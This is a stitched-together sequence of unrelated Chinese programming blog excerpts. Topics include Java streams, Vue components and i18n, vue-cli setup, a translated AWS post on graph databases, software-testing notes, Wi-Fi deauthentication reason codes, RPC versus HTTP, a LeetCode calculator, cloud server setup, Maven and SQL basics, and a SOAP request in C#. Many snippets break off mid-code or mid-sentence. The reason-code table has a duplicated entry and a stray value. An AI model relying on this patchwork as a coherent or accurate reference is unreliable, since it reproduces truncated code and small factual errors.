二、示例 一个简单的集合遍历如下: public static void main(String[] args) { List<User> list = new ArrayList<>(); list.add(new User(1, "张三", "123")); list.add(new User(2, "李四", "321")); list.stream().forEach(user -> System.out.println(user.info())); } ... // user类 public class User { private int id; private String name; private String pwd; ...省略get、set和构造函数 public String info() { return "User{" + "id=" + id + ", name='" + name + '\'' + ", pwd='" + pwd + '\'' + '}'; } } 一句话完成了集合遍历,十分方便。但是如果我们让info抛出一个编译时异常,假设是 IOException。
引入Vant
npm i vant -S 没废话,直接上代码。 最后有一个附带的实际项目案例可以下载参考一下。
<template> <div> <van-pull-refresh v-model="isLoading" @refresh="onRefresh"> <van-list v-model="isUpLoading" :finished="upFinished" @load="onLoad" :offset="offset" finished-text="我也是有底线的~~~" > <div class="content"> <!-- 自定义内容 --> <ul> <li v-for="(item, index) in datacontent" :key="index"> <div class="left"> <p class="rank">{{item.rank}}</p> <p class="score"> 分数: <br /> <span>{{item.score}}</span> </p> <p class="title">{{item.title}}</p> <p class="classify">{{item.classify}}</p> <p class="author">{{item.author}}</p> <p class="date">{{item.date}}</p> </div> </li> </ul> </div> </van-list> </van-pull-refresh> </div> </template> <script> export default { data() { return { data: [ ], //自己定义的数组,里面存放数据,用于v-for循环 datacontent: [], //空数组,用来储存循环出来的内容,因为没有造假数据,所以就反复循环这个数组里的内容了,懒~~~嘻嘻 isLoading: false, //下拉刷新 isUpLoading: false, //上拉加载 upFinished: false, //上拉加载完毕 finished: false, offset: 100 //滚动条与底部距离小于 offset 时触发load事件 }; }, mounted() { for (var i = 0; i < 2; i++) { this.
1.在main.js文件中引入:
方式1:
//main.js import VueI18n from 'vue-i18n' Vue.use(VueI18n) // 通过插件的形式挂载,通过全局方法 Vue.use() 使用插件 const i18n = new VueI18n({ locale: 'zh', // 语言标识 //this.$i18n.locale // 通过切换locale的值来实现语言切换 messages: { 'zh': require('./common/lang/zh'), // 中文语言包 'en': require('./common/lang/en') // 英文语言包 } }) Vue.config.productionTip = false; new Vue({ el: '#app', router, i18n,//挂载到实例,一定得在这个位置,而不是comonents中 components: { App }, template: '<App/>' }) 方式2:
//i18n.js import VueI18n from 'vue-i18n'; const messages = { en: { message: { hello: 'hello world' } }, cn: { message: { hello: '你好世界' } } } const i18n = new VueI18n({ locale: 'cn', // set locale messages: messages , // set locale messages }); export default i18n; //main.
目录 文档:安装创建项目vue-cli 创建项目webpack 创建项目 使用webpack创建项目vue项目和vue-cli3创建项目的区别vue-cli3后台管理基础代码 文档: 载地址:node.js中文官网 http://nodejs.cn/download/
工具visual studio code: https://code.visualstudio.com/
创建vue-cli3脚手架:https://blog.csdn.net/weixin_42756155/article/details/81144622
创建vue-cli3脚手架: https://blog.csdn.net/zzsan/article/details/82667609
安装 全局安装 vue-cli ,在命令行工具中输入命令行:
npm install vue-cli -g (vue-lcli2)
npm install -g @vue/cli (vue-cli3)全局安装webpack,在命令行工具中输入命令行:
npm install webpack -g (vue2需要安装这个)安装cnpm(cnpm是淘宝的镜像,也可以使用npm, node.js自带npm)$ npm install -g cnpm --registry=https://registry.npm.taobao.org 创建项目 vue-cli 创建项目 是vue-cli3.x以下的创建webpack的方式
$ vue init webpack 项目名 webpack 创建项目 是vue-cli3.x的初始化方式,模板是固定的,模板选项可自由配置
$ vue create 项目名 使用webpack创建项目vue项目和vue-cli3创建项目的区别 参考网址: https://segmentfault.com/q/1010000021001582/a-1020000021003794
vue-cli 内部封装了 webpack,对外仅仅提供几个依赖。而且做了很多适合 vue 项目的优化,同时你可以用 vue.config.js 来管理项目。package.json 非常清爽
webpack 更符合针有特定需求,毕竟是原生。不过管理起来也更加复杂。不过社区有升级,可以第一时间获取升级优势。前一种只能等待 vue-cli 项目升级
图形数据库市场是一个快速增长的企业级市场。2019年12月,亚马逊CTO沃纳·威格尔(Werner Vogels)发表了博客文章,专门介绍和阐述了对于图形数据库的观点。图形数据库是一种特殊的数据库,是用图形理论存储实体之间的关系信息,例如社交网络中人与人的关系,属于非关系型数据库。图形数据库能够表达数据与数据之间的关系,从而形成相应的洞察与知识,图形数据库是知识图谱的基础技术。近几年来,图形数据库增长迅速,在越来越多的场合得到关注和应用,例如人机对话需要跨复杂数据集完成复杂询问,而这对传统SQL查询来说既不实际也无法扩展。目前,图形数据库仍然是一个较小的市场,但Gartner预计2019~2022年图形数据库市场将会以每年100%的增长率增长,2018年图形数据库市场约为5亿美元,到2022年保守估计至少80亿美元。沃纳·威格尔认为,运用数据中关系的应用程序将是战略性的。
以下为沃纳·威格尔博客“The Power of Relationships in Data”的翻译:
你是否曾接到过银行的电话,因为他们怀疑你有欺诈行为?大多数银行可以自动识别何时支出模式或地点偏离了正常水平,然后立即采取行动。很多时候,这种情况发生在受害者意识到事情不对劲之前。因此,像身份盗窃这样对个人银行账户和生活的影响,甚至可以在它成为问题之前就得到控制。
这表明,对数据中的关系有深刻的理解非常重要。
试着想想疾病与基因相互作用之间的关系。通过了解这些联系,你可以在蛋白质通路中寻找模式,从而找到可能与疾病相关的其它基因,这种信息可以帮助推进疾病研究。
对关系的理解越深,洞察力就会越强。有了足够的关系数据点,你甚至可以对未来进行预测(例如使用推荐引擎)。但是,随着更多数据的连接以及连接数据的大小和复杂性的增加,关系的存储和查询也会变得更加复杂。
在2019年8月份,我写了关于现代应用程序开发以及将一刀切的单体数据库拆分成专用数据库的价值的文章。专用数据库支持各种数据模型,并允许客户构建用例驱动的、高度可扩展的分布式应用程序。在数据中的关系导航就是一个很好的例子,说明了为工作提供合适的工具很重要。此外,图形数据库也是处理高度连接数据的合适工具。
图形数据模型 在图形数据模型中,关系是数据模型的核心部分,这意味着您可以直接创建关系,而不必使用外键或联接表。数据被建模为节点(顶点)和链接(边)。换句话说,重点不是数据本身,而是数据之间的关系。图形是构建处理关系的应用程序的自然选择,因为您可以更轻松地表示和遍历数据之间的关系。
节点通常是一个人、一个地方或事物,而链接就是它们之间的连接方式。例如,在下图中,Bob是一个节点,蒙娜丽莎是一个节点,而卢浮宫是一个节点。它们通过许多不同的关系相连。例如,Bob对蒙娜丽莎感兴趣,蒙娜丽莎位于卢浮宫,卢浮宫是博物馆。该示例图是知识图,它可以用来帮助对蒙娜丽莎感兴趣的人在卢浮宫中发现达芬奇的其它艺术品。
处理关系的应用程序。当您必须在数据之间创建关系并快速查询这些关系时,图形是一个不错的选择。知识图谱是一个好用例的用例。这里还有一些:
社交网络。社交网络应用中具有大量的用户配置文件和要跟踪的交互。例如,您可能正在向应用程序中构建社交订阅源。使用图形提供的结果会优先显示用户来自其家人,他们“喜欢”的朋友的最新消息以及附近朋友的最新消息。
推荐引擎。推荐引擎存储信息之间的关系,例如客户兴趣、朋友和购买历史。通过使用图谱,您可以快速查询,以提出个性化且与您用户相关的建议。
欺诈识别。如果要构建零售欺诈检测应用程序,则可以使用图形来构建查询以轻松检测关系模式。例如,多个与个人电子邮件地址关联的人,或者多个共享同一IP地址但居住在不同物理地址的人。
存储图谱的挑战 图形可以用许多不同的方式存储:关系数据库、键值存储或图形数据库。许多人开始使用带有小规模原型的图形。这通常在起步阶段会表现很好,但是图形的存储会随着数据规模的增加而变得具有挑战性。基于图形的工作负载往往具有高度的随机访问权限。随着您遍历关系(图形扇出),访问的节点数量显着增加,并且回答图形查询所需的数据通常不缓存在内存中(非局部性)。甚至看似简单的图形查询也可能需要访问和扫描大量数据。这意味着缩放和操作图形数据库通常需要大量的手动性能调整和优化。
使用关系数据库或图的键值存储的人必须使用SQL联合查询(或等效联接)来查询关系。因为联合查询的执行速度很慢,所以通常必须对数据模型进行非规范化(换句话说,以牺牲写入性能为代价来提高读取性能)。但是,对于非规范化的数据模型,添加的每个新关系都需要更改数据模型并降低开发速度。
图形数据库专门用于存储图形,允许直接链接节点中的数据并直接查询关系。这使创建新的关系变得容易,而又不会对数据进行非规范化,并且使开发人员更容易为必须查询高度连接的数据的应用程序更新其数据模型,这极大地提高了数据关系导航的查询性能。
专用图形数据库 去年(注:2018年),AWS推出了Amazon Neptune,这是一个快速、可靠、专用的图形数据库,该数据库经过优化,可处理在高度连接的数据中发现关系。Neptune是一项完全托管的图形服务,通过在三个可用区复制六个数据副本来提供高可用性,它最多支持15个低延迟的只读副本,以毫秒级延迟查询图形,并自动扩展存储量以存储数十亿个关系。
自Neptune发布以来,我们一直在不断创新。在AWS re:Invent 2019上,我们宣布了Amazon Neptune Workbench。现在,您可以创建一个Jupyter Notebook,这是一个开源Web应用程序,它允许您从AWS管理控制台创建和共享包含实时代码、方程式、可视化效果和叙述文本的文档。创建Notebook后,即可使用Gremlin或SPARQL协议和RDF查询语言(SPARQL)查询图形数据库。Neptune最近增加了对Streams和Search的支持,将图形与其它应用程序构建块更轻松地连接起来。Neptune Streams提供了一种简便的方法来捕获图形中的更改并与其它专用数据库集成。当文本搜索适合该工作,Neptune现在允许将外部文本索引用于Gremlin或SPARQL图形查询。
看着我们的客户使用Neptune时,它令人着迷。我们希望他们使用Neptune构建社交、欺诈检测和推荐类型的解决方案,而像Nike、Activision和NBC Universal这样的客户现在已经在Neptune上使用了这些应用程序。
但是,当您为开发人员提供针对特定工作的高性能和专业工具时,就会发生一件有趣的事情——他们开始寻找新的令人兴奋的东西来构建。从知识图谱到身份解析,客户表明他们可以使用图来构建有趣的新应用程序。汤森路透使用图表来了解复杂的监管模型,Netflix通过使用基于图形的系统来构建和扩展数据谱系,提高了数据基础架构的可靠性,Zeta Global还建立了一个客户智能平台使用基于图形的身份解析来关联多个设备和用户。
长远来看:两种模型支持 我们知道,图形是建立数据模型关系的有效方法,而分析关系的价值并不新潮。实际上,网状数据库早于关系数据库。图形数据库的早期主要是在学术或公共部门中应用,这些应用是面向研究或高度专业化的(例如语义数据管理或复杂的电信分析)。但是,这些解决方案并不广泛,并且图形数据库尚未成为开发人员的主流数据库选项。
因此,我们希望Neptune将成为一些客户的重要服务。从长远的角度来看,运用数据中关系的应用程序将是战略性的,随着时间的推移,客户将会采用它,因为他们有更多的数据和更多的关联数据。
作为此长远观点的一个例子,在实现图形化时有两个主要模型——属性图(Property Graphs,PG)和W3C 资源描述框架(Resource Description Framework,RDF)。这两种图形都由节点(有时称为“顶点”)和有向边(有时称为“链接”)组成,并且这两种图形均允许将属性(特征/值对attribute/value pairs)与节点关联。属性图允许“边”使用这些属性,而RDF图则将节点属性视为只是更多的“边”(尽管在RDF中有几种表达“边”属性的技术)。由于存在这种差异,各个图中的数据模型最终看起来会略有不同。
存在这些差异的理由很充分。属性图类似于孤立的应用程序或用例中的常规数据结构,而RDF图最初是为支持跨独立开发的应用程序的互操作性和互交换而开发的。RDF图可以表示为“三元组”(边起点、标签和终点,通常称为“主题”、“谓词”和“对象”),RDF图数据库也称为“三元组存储”。
如今,可以通过流行的开源和供应商支持的实现来获得属性图支持,但是不存在用于架构定义、查询语言或数据交换格式的开放标准。另一方面,RDF是W3C基于其它现有Web标准的一套标准化规范的一部分。这些标准统称为语义网络(Semantic Web)或链接数据(Linked Data)。这些规范包括模式语言(RDFS和OWL)、声明性查询语言(SPARQL)、序列化格式以及许多支持的规范(例如,如何将关系数据库映射到RDF图)。W3C规范还描述了一个标准化的推理框架(例如,如何从以图形形式表示的数据中得出结论)。
我们发现,开发人员最终只想制作图形,而他们需要两个模型。我们看到客户从一个独立的应用程序作为一个属性图的开始,然后发现他们必须与其它系统进行互操作。我们看到有些客户为了与RDF进行互操作性和交换而构建,但是必须在属性图中一致的数据上构建独立的、用于特定业务的应用程序。我们明确地选择了Neptune来支持属性图和RDF,这样开发者和客户就可以选择最适合的技术。
组装“积木” AWS的客户使用Neptune的创新方式是一个很好的例子,说明了开发人员拥有适合工作的工具时会发生什么。AWS拥有云服务供应商中最多的具有针对性的数据库,这是为了让客户拥有更多选择和自由。除了图形之外,您可能还拥有其它数据集,它们在不同的数据库类型(例如关系、时间序列或内存中)中表现更好。这就是现代应用程序开发。
例如,Neptune是工具包的一部分,我们使用它来为数千万客户不断扩展Alexa的知识图。Alexa还使用其它数据库,例如Amazon DynamoDB用于键值和文档数据,Amazon Aurora用于关系数据。不同类型的数据面临着不同类型的挑战,为每个独特的用例选择合适的数据库可提高速度和灵活性。
对于高度连接的数据,图形数据库可轻松理解数据中的关系以获得新的洞察。使用图形数据模型,开发人员可以快速构建必须查询高度连接的数据的应用程序。此外,专用图形数据库极大地提高了关系导航的查询性能。因为开发人员最终只想做图形,所以您可以选择为属性图执行快速的Apache TinkerPop Gremlin遍历,或者在RDF图上调优SPARQL查询。此外,您还可以访问AWS提供的参考体系结构、代码示例和示例。
Ubuntu 16 安装opencv 3.2后,切换为python3后,无法运行 cv2,出现报错 ImportError: /opt/ros/kinetic/lib/python2.7/dist-packages/cv2.so: undefined symbol: PyCObjec…
解决办法:在终端里先输入
python启动python3.5以后,输入:
import sys sys.path.remove('/opt/ros/kinetic/lib/python2.7/dist-packages') 然后既可以输入
import cv2 但是每次打开终端都要运行前两句才可以 import cv2
第一章:
软件=程序+数据库+文档+服务。
软件的特点:软件必须依托具体的硬件设备而运行,硬件的改变很可能导致软件的不可用;软件严重依靠人的智力劳动,因此,常具有较大的随意性;软件不会磨损,但会随硬件设备及用户需求的不断变化而不断炫耀进行升级,甚至也可能被淘汰。
软件测试的概念:使用人工或自动手段来运行或测试某个系统的过程,目的在于检验其是否满足规定的需要或是弄清楚预期结果与实际结果之间的差别。
软件测试的原则:软件测试应贯穿软件生命周期,从需求阶段介入;测试前应准备好测试数据与预期结果一一对应;测试输入数据应包括合理的输入条件和不合理输入条件;程序提交后,应当由专门的测试人员进行测试;严格执行测试计划,排除测试的随意性;测试用例的所有相关预期结果做全面的检查;充分注意测试当中的群集现象;保存测试计划、测试用例、出错统计和最终分析报告,为维护工作提供充分的资料;缺陷具有免疫性
进行软件测试的原因:提高软件的质量,确保软件满足需求。
测试的分类:黑盒测试、白盒测试;动态测试、静态测试;手动测试、自动化测试。
测试用例:是一组测试输入、执行条件和预期结果。
测试用例的设计:正常数据、错误设计、边界设计。
测试用例设计的基本原则:数量越少越好,典型性越高越好,对缺陷的定位性越强越好。
软件缺陷:
软件未达到需求规格说明书中指明的功能;
软件中出现了需求规格说明书中指明不应出现的错误;
软件功能超出需求规格说明书中指明的范围;
软件未达到需求规格说明书中虽未指出但应到的目标;
软件测试员认为软件难以理解、不易使用、运行速度缓慢或者最终用户认为不好;
软件测试分类:
从是否关心内部结构角度:黑盒测试、白盒测试;
从是否运行被测程序角度:静态测试、动态测试;
从执行时是否需要人工干预角度:人工测试、自动化测试;
从软件开发的过程的角度:单元测试、集成测试、系统测试、验收测试;
从测试实施组织的角度:开发方测试、用户测试、第三方测试。
第二章
软件开发模型:是软件开发的全部过程、活动、任务和管理的结构框架,他给出了软件开发活动各阶段之间的关系。
软件开发生命周期模型:
大爆炸模式:思路简单,突发奇想,随意性大,修复困难;
边写边改模式:产品周期短,没有计划和文档编制,测试工作长期循环;
瀑布模型:逐级下落样式,线性顺序连接各阶段,阶段明显,强调需求分析,明确测试阶段,提供了一套模板,适用于无重大变动的软件,如操作系统、数据库管理系统;
螺旋模型:发现问题早,需要丰富的风险评估经验和专门知识,过多的迭代次数会增加成本,延迟提交时间;
敏捷开发模型:以用户的需求进化为核心,采用迭代、循序渐进的方法进行软件开发。
敏捷宣言:
个体和互动 高于 流程和工具
工作的软件 高于 详尽的文档
客户合作 高于 合同谈判
响应变化 高于 遵循计划
软件测试过程模型:
V模型:特点:动态测试应与开发行为对应;局限性:测试滞后,缺少静态测试。
W模型:优点:静态测试与动态测试行为将伴随着整个开发阶段,并与开发行为对应,有助于早期发现缺陷,了解项目难度、评估测试风险,加快项目进度,降低项目成本。将软件开发看成需求分析、设计和编码等一系列串行的活动;开发、测试之间保持着线性的前后关系,无法支持迭代的开发模型,无法支持变更调整;未体现测试流程的完整性
H模型:保持自身完整性,测试准备和执行活动是分离的。
X模型:清晰地体现了单元测试,集成测试,系统测试的过程,更加贴近实际的项目开发流程。
测试计划:对资源、时间、风险、测试范围和预算等方面分析规划。
代码 原因
0 保留
1非特定原因
2以前的身份验证不再有效
3由于发送STA离开(或已经离开)ibs或ESS而被取消身份验证
4由于不活动而解除关联
5已解除关联,因为AP无法处理所有当前关联的STA
6从未经验证的STA接收到的2类帧
7从非关联STA接收的3类帧
8由于发送STA离开(或已经离开)BSS而解除关联
9请求(重新)关联的STA未通过响应STA的身份验证
10由于电源能力元素中的信息不可接受而解除关联
11已解除关联,因为“支持的通道”元素中的信息不可接受
12保留
13无效信息元素。
14信息完整性代码(MIC)故障
15四向握手超时
16组密钥握手超时
17与(重新)关联请求/探测响应/信标帧不同的4路握手中的信息元素
18由于请求STA不支持BSSBasicRateSet参数中的所有数据速率,无效的组密码或关联被拒绝
19无效的成对密码
20无效AKMP
21不支持的RSN信息元素版本
22无效的RSN信息元素功能
23 IEEE 802.1X身份验证失败
24由于安全策略,密码套件被拒绝
25-31保留
32由于未指定的、与QoS相关的原因而解除关联
33已解除关联,因为QoS AP对于此QoS STA缺少足够的带宽
34由于需要确认过多的帧而解除关联,但由于AP传输和/或信道条件差而未确认
35已解除关联,因为STA的传输超出了其TXOPs的限制
36当STA离开BSS时从对等STA请求(或重置)
37从对等STA请求,因为它不想使用该机制
38使用需要设置的机制从对等STA请求作为STA接收帧
39由于超时从对等STA请求
45对等STA不支持请求的密码套件
45-65保留
535保留
RPC协议:远程过程调用协议(Remote Procedure Call Protocol),是一种计算机通讯协议。
如何理解远程过程调用? 假设有两台服务器A和B,一个应用部署在A服务器上,想要调用B服务器上应用提供的函数或者方法,由于不在一个内存空间,所以不能直接调用,需要通过网络来表达调用的语义和传达调用的数据。
简要的步骤 解决通讯问题。主要是客户端和服务器建立TCP连接,远程调用所有交换的数据都在这个连接里面进行交换,连接可以是按需连接,数据交换完毕之后就关闭连接;也可以是长连接,多个远程调用都共享同一个连接。解决寻址问题。服务器A想要调用服务器B的应用,那么A应该告知RPC框架B服务器(主机名或IP地址)以及特定的端口,然后指定调用的方法或者函数的名称以及入参出参等信息,这样才能完成服务的一个调用。比如基于Web服务协议栈的RPC,就需要提供一个endpoint URI,或者是从UDDI服务上进行查找。如果是RMI调用的话,还需要一个RMI Registry来注册服务的地址。当A服务器上的应用发起远程过程调用时,方法的参数需要通过底层的网络协议如TCP传递到B服务器,由于网络协议是基于二进制的,内存中的参数的值要序列化成二进制的形式,也就是序列化(Serialize)或编组(marshal),通过寻址和传输将序列化的二进制发送给B服务器。B服务器收到请求后,需要对参数进行反序列化(序列化的逆操作),恢复为内存中的表达方式,然后找到对应的方法(寻址的一部分)进行本地调用,然后得到返回值。返回值还要发送回服务器A上的应用,也要经过序列化的方式发送,服务器A接到后,再反序列化,恢复为内存中的表达方式,交给A服务器上的应用。 通常,经过以上五个步骤之后,一次完整的RPC调用算是完成了,另外可能因为网络抖动等原因需要重试等。
为什么会使用RPC? 主要就是因为在几个进程内(应用分布在不同的机器上),无法共用内存空间,或者在一台机器内通过本地调用无法完成相关的需求,比如不同的系统之间的通讯,甚至不同组织之间的通讯。此外由于机器的横向扩展,需要在多台机器组成的集群上部署应用等等。
RPC支持的协议? 最早的CORBA、Java RMI, WebService方式的RPC风格, Hessian, Thrift甚至Rest API。
RPC实现的基础? 1、需要有非常高效的网络通信,比如一般选择Netty作为网络通信框架。
2、需要有比较高效的序列化框架,比如谷歌的Protobuf序列化框架。
3、可靠的寻址方式(主要是提供服务的发现),比如可以使用Zookeeper来注册服务等等。
4、如果是带会话(状态)的RPC调用,还需要有会话和状态保持的功能。
HTTP协议:HTTP(Hyper Text Transfer Protocol),超文本传输协议的缩写。是用于从WWW服务器传输超文本到本地浏览器的传输协议。HTTP是一个应用层协议,由请求和响应构成,是一个标准的个客户端和服务器模型。
如何理解HTTP协议? 虽然HTTP是超文本传输协议,但它跟传输没有半毛钱关系,它就是一种协议,和租房合约一样,是一种双方约定的规则。有一定的格式,比如合同,要是甲乙双方、有要具体内容、时间等等。
HTTP组成? HTTP由起始行(start line)、请求头(header)、消息正文组成(entity)。
1、起始行:描述请求方式和相应的基本信息。由请求方式、请求资源、使用HTTP的版本号。
例如:GET index.html HTTP/1.1
2、请求头:以key-value的形式说明报文内容。
3、消息正文:具体需要传输的数据,可以是文本、图片视频等二级制数据。
HTTP的基本结构如下图:
其中HTTP完整的头部格式如下:
在浏览器输入网址会发生什么呢? 下面以访问www.baidu.com为例
1、浏览器对www.baidu.com进行DNS域名解析,解析得到ip地址。
2、通过ip地址找到对应的服务器,发起TCP三次握手。
3、基于TCP连接,发送http请求。
4、服务器响应http请求,返回html代码。
5、浏览器解析html的代码,并且请求静态资源(如:js、css、img等)。
6、浏览器将渲染的页面呈现给用户。
RPC和HTTP的不同? 传输协议:
RPC:可以基于TCP也可以基于HTTP。
HTTP:基于HTTP。
传输效率:
RPC:使用自定义的TCP协议,可以让请求报文体积更小,或者使用HTTP2协议,也可以很好的减少报文的体积,提高传输效率。
HTTP:如果是基于HTTP1.1的协议,请求中会包含很多无用的内容,如果是基于HTTP2.0,那么简单的封装以下是可以作为一个RPC来使用的,这时标准RPC框架更多的是服务治理。
性能消耗,主要在于序列化和反序列化的耗时:
RPC:可以基于thrift实现高效的二进制传输。
HTTP:大部分是通过json来实现的,字节大小和序列化耗时都比thrift要更消耗性能。
负载均衡:
RPC:基本都自带了负载均衡策略。
HTTP:需要配置Nginx,HAProxy来实现。
服务治理(下游服务新增,重启,下线时如何不影响上游调用者):
RPC:能做到自动通知,不影响上游。
HTTP:需要事先通知,修改Nginx/HAProxy配置。
总结:
RPC主要用于公司内部的服务调用,性能消耗低,传输效率高,服务治理方便。HTTP主要用于对外的异构环境,浏览器接口调用,APP接口调用,第三方接口调用等。
参考文章:
1.更换程序包源
2.直接浏览器尝试访问 ,是否正常
正常访问,说明是本地设置问题
不能正常访问是 百度windows hosts
3.本地局域网代理 关闭 问题解决
括号匹配问题有若干种,这里分析其中一种括号里有数字有字符,然后求的最终结果的问题。
给出两道例题,Leetcode224和Leetcode394。
Leetcode224 题目描述
实现一个基本的计算器来计算一个简单的字符串表达式的值。 字符串表达式可以包含左括号 ( ,右括号 ),加号 + ,减号 -,非负整数和空格 。 示例 输入: "(1+(4+5+2)-3)+(6+8)" 输出: 23 解决方案
class Solution { public int calculate(String s) { int n = s.length(); Stack<Integer> st = new Stack<>(); int sign = 1,res = 0; for(int i = 0;i < n;i++){ char c = s.charAt(i); if(Character.isDigit(c)){ int t = c - '0'; while(i+1 < n && Character.isDigit(s.charAt(i+1))){ t = t*10 + s.charAt(++i) - '0'; } res = sign * t + res; } else if(c == '-') sign = -1; else if(c == '+') sign = 1; //遇到左括号用栈保存之前的信息,并将信息重置 else if(c == '('){ st.
本篇博文旨在将近期搭建云服务器的步骤记录下来。
1、定义
云服务器是一种简单高效、安全可靠、处理能力可弹性伸缩的计算服务。其管理方式比物理服务器更简单高效。用户无需提前购买硬件,即可迅速创建或释放任意多台云服务器。云服务器帮助您快速构建更稳定、安全的应用,降低开发运维的难度和整体IT成本,使您能够更专注于核心业务的创新。
2、需求
客户端(PC、平板电脑、智能机等)能够公网访问服务器端(服务器、云服务器)存储的相应资源(图片、视频、文本等)。
3、步骤
以本地计算机访问云服务器中存储的图片为例。
3.1、租用云服务器
常见的云服务器有七牛、阿里云、腾讯云、金山云、百度云等,技术成熟而且价格公道,这里选用腾讯云。
a、进入腾讯云官网主页,使用qq号方式进行登录,成功后。如下图:
b、点击菜单栏“云产品”-----“所有云产品”-----“云服务器”-----“立即选购”,根据不同的需求进行类别选择(操作系统、机型、公网带宽、系统盘、数据盘大小等),如下图:
c、支付完毕则收到购买成功的邮件通知,如下图:
d、购买成功后,点击菜单栏“管理中心”对云服务器进行相应的设置,例如:重置密码,开关机设置等操作。如下图:
e、本地计算机访问云服务器,可以采取“附件”------“远程桌面连接”方式,也可以在“cmd”----“mstsc”进行远程访问云服务器,在弹出的登录界面输入相应的账号和密码进行登录。如下图:
f、云服务器端相应设置,重命名计算机名(更改成www.**********.com最佳);分盘(1、CMD框,输入:diskmgmt.msc,回车;2、在弹出“磁盘管理”框。鼠标右键点击系统盘所在位置,选中“压缩卷”。3、在“输入压缩空间量(MB)”选项框中,输入你需要从C盘压缩出来的磁盘空间量,点击“压缩”即可分出新的盘符);安装web服务器(例如IIS服务器或者Tomcat服务器等)和DNS服务器(域名服务器),其中web服务器是驻留于因特网上某种类型计算机的程序,可以向浏览器等Web客户端提供文档,也可以放置网站文件,让全世界浏览;可以放置数据文件,让全世界下载。DNS服务器将IP地址与域名进行关联。
3.2、域名注册
a、腾讯云官网菜单栏“云产品”----“域名服务”----“域名注册”,然后在弹出的输入框输入想要注册的域名检索是否已被别人注册;如果没有,则可以进行注册,如下图:
b、购买云解析方法类似。其中域名解析就是将人们惯用的域名转换成为机器可读的IP地址的过程,腾讯云解析向全网域名提供免费的智能解析服务,拥有海量处理能力、灵活扩展性和安全能力。为您的站点提供稳定、安全、快速的解析体验。
c、SSL证书可以免费购买。其中SSL证书(SSL Certificates)提供了安全套接层(SSL)证书的一站式服务,包括证书申请、管理及部署功能,与顶级的数字证书授权(CA)机构和代理商合作,为您的网站、移动应用提供 HTTPS 解决方案。
证书如果审核通过,会收到邮件通知,如下图:
d、实名认证
域名需要进行实名认证,提交身份证正面复印照片,提交成功后进行审核,3-5个工作日会受到以邮件的形式的审核结果通知。
3.3、服务器端调试
a、选择端口(443 私密;80 无证书端口)
~开始----搜索---“IIS”(找到web服务器,例如IIS服务器)
~网站-----绑定,弹出设置端口的窗口,如下图:
b、在服务器安装SSL证书
~证书审核通过后下载下来,然后拷贝到云服务器端进行安装。
~安装完成后,在web服务器中进行证书导入操作。“服务器证书”---“导入”即可成功在云服务器端安装证书。如下图:
c、客户端浏览
存放一张照片于web服务器中,然后在客户端输入网址,例如:www.gislaozhang.com进行公网浏览,结果如下图:
NoPluginFoundForPrefixException 异常: No plugin found for prefix 'tomcat7' in the current project ...官方的异常解释官方的解决方式直白,上操作 异常: No plugin found for prefix ‘tomcat7’ in the current project … 官方的异常解释 setting.xml设置未列出所需的。解析插件前缀时,Maven不会搜索整个存储库,而只会搜索给出的特定组ID 。如果所需插件的组ID既未在此处列出,也未在您的POM中提供,则找不到该插件,就会出现上述异常。
官方的解决方式 您可以选择将其添加到您的POM setting.xml或在POM的插件管理部分中声明所需的内容。第一种方法适用于所有项目,但要求每个开发人员在其计算机上执行相同的操作。第二种方法可以很容易地通过源代码管理与其他团队成员共享,但仅适用于所讨论的POM及其继承的所有POM。
直白,上操作 pom.xml
用Java替换GET_WKT函数转换SDO_GEOMETRY 在用 SQL 查询 Oracle Spatial 空间表的数据时,如果使用 Oracle Spatial 自带的函数GET_WKT 对 SDO_GEOMETRY类型字段进行转换,效率极低,SQL 如下:
SELECT * FROM ( SELECT ROWNUM AS rowno,t.* FROM ( SELECT T.FID,T.T.SHAPE.GET_WKT(),T.AREA,T.NAME,T.GB1999 FROM CKQ_SQDJ T ) t ) table_alias WHERE table_alias.rowno between 70000 and 70100 表里面有70000多条数据,用该分页语句查询10条,需要3分钟才能将数据查出来。
如果选择不用 GET_WKT,GET_WKT 函数去掉,先将数据查询出来,然后用 Java 代码对 SHAPE 字段进行转换,效率则会提升很多,只需要不到300ms
SQL:
SELECT * FROM ( SELECT ROWNUM AS rowno,t.* FROM ( SELECT T.FID,T.T.SHAPE,T.AREA,T.NAME,T.GB1999 FROM CKQ_SQDJ T ) t ) table_alias WHERE table_alias.rowno between 70000 and 70100 Java 代码:
一、SQL基本概念 Structured Query Language:结构化查询语言
其实就是定义了操作所有关系型数据库的规则。每一种数据库操作的方式存在不一样的地方,称为“方言”。
SQL,指结构化查询语言,全称是 Structured Query Language。SQL 让您可以访问和处理数据库。SQL 是一种 ANSI(American National Standards Institute 美国国家标准化组织)标准的计算机语言。 SQL是关系数据库系统的标准语言。所有关系数据库管理系统(RDMS),如MySQL、MS Access、Oracle、Sybase、Informix、Postgres和SQL Server都使用SQL作为它们的标准数据库语言。
二、SQL通用语法 SQL 语句可以单行或多行书写,以分号结尾。 可使用空格和缩进来增强语句的可读性。 MySQL 数据库的 SQL 语句不区分大小写,关键字建议使用大写。 3 种注释 单行注释: -- 注释内容 或 # 注释内容(mysql 特有) 多行注释: /* 注释 */
三、SQL分类 1) DDL(Data Definition Language)数据定义语言
用来定义数据库对象:数据库,表,列等。关键字:create, drop,alter 等
2) DML(Data Manipulation Language)数据操作语言
用来对数据库中表的数据进行增删改。关键字:insert, delete, update 等
3) DQL(Data Query Language)数据查询语言
用来查询数据库中表的记录(数据)。关键字:select, where 等
4) DCL(Data Control Language)数据控制语言(了解)
用来定义数据库的访问权限和安全级别,及创建用户。关键字:GRANT, REVOKE 等
一般添加web服务引用是.NET用代理类模式 创建SOAP请求代理类,代理类是.NET开发工具VS自动给你生成。
下面用一般HTTP的模式有时候可能更合适,原理是构造SOAP请求的XML后POST过去:
下面是HelloWorld的例子
private void button1_Click(object sender, EventArgs e) { //创建HttpWebRequest 实例,使用WebRequest.Create HttpWebRequest webRequest = (HttpWebRequest)WebRequest.Create("http://localhost:1198/WebSite1/Service.asmx"); //发送请求 webRequest.Method = "POST"; //编码 webRequest.ContentType = "text/xml"; string soap = "<?xml version=\"1.0\" encoding=\"utf-8\"?>"; soap += "<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">"; soap += " <soap:Header>"; soap += " </soap:Header>"; soap += "<soap:Body>"; soap += " <HelloWorld xmlns=\"http://tempuri.org/\" />"; soap += "</soap:Body>"; soap += "</soap:Envelope>"; // webRequest.Headers["SoapAction"] = "http://localhost:1198/WebSite1/Service.asmx"; //字符转字节 